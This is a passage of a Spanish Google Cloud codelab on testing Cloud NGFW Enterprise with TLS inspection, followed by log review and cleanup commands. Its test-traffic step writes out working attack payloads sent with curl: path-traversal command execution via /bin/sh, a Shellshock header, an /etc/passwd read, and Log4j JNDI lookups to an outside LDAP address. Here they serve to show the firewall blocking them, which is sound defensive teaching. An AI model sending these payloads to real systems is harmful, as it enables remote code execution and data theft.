Establece una conexión SSH al cliente para probar el tráfico E/W con la configuración de confianza actualizada:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Ejecuta la solicitud TLS de muestra en el servidor:

curl https://$target_privateip --max-time 2

Si aún obtienes el siguiente resultado, espera a que se propaguen las actualizaciones.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Resultado esperado:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Envía tráfico de prueba malicioso al servidor:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Resultado esperado:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

No se reciben respuestas según el resultado esperado a continuación, lo que confirma que los ataques de muestra ahora están bloqueados para E/W.

13. Logging

Navega a Logging > Con el Explorador de registros de la consola de Cloud, ingresa el siguiente filtro y consulta los registros. Reemplaza [PROJECT_ID] por tu project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Las entradas de registro de Cloud NGFW Enterprise deberían verse similares de la siguiente manera:

5b68cc1063c0f4bd.png

Expande las entradas de registro y observa que se identificaron y bloquearon los ataques enviados desde la VM del cliente al servidor (Vulnerabilidad a la ejecución de código remoto de Apache Log4j según la siguiente captura de pantalla).

478f18f8481e90ed.png

Implementaste correctamente Cloud NGFW Enterprise con inspección de TLS para bloquear solicitudes maliciosas.

Continúa con la siguiente sección para los pasos de limpieza.

14. Pasos de limpieza

Limpieza de la configuración de la base

Quita las instancias:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Sigue estos pasos if si se cambiaron los roles de tagAdmin y tagUsers:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Quita la clave y los valores de la etiqueta:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Quita la asociación y la política de red de firewall de Cloud:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Borra el Cloud Router y Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Borra las direcciones IP reservadas:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

SPG de Cloud Firewall, asociación y limpieza de TLS

Borra el grupo de perfiles de seguridad y el perfil de amenazas en este orden:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Borra la asociación del extremo de firewall de Cloud:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Borra el extremo del firewall de Cloud, lo que puede tardar unos 20 minutos:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

De manera opcional, ejecuta el siguiente comando para confirmar que se borró el extremo de Cloud NGFW:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

El estado del extremo debería mostrar lo siguiente:

STATE: DELETING

Cuando se complete, el extremo ya no aparecerá en la lista.

Borra la política de TLS y la configuración de confianza en este orden:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Inhabilita y borra la AC raíz y el grupo de AC:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Limpieza de subredes y VPC

Por último, borra la subred y la red de VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. ¡Felicitaciones!

Felicitaciones, completaste correctamente el codelab Cloud NGFW Enterprise para inspección de TLS este-oeste y norte.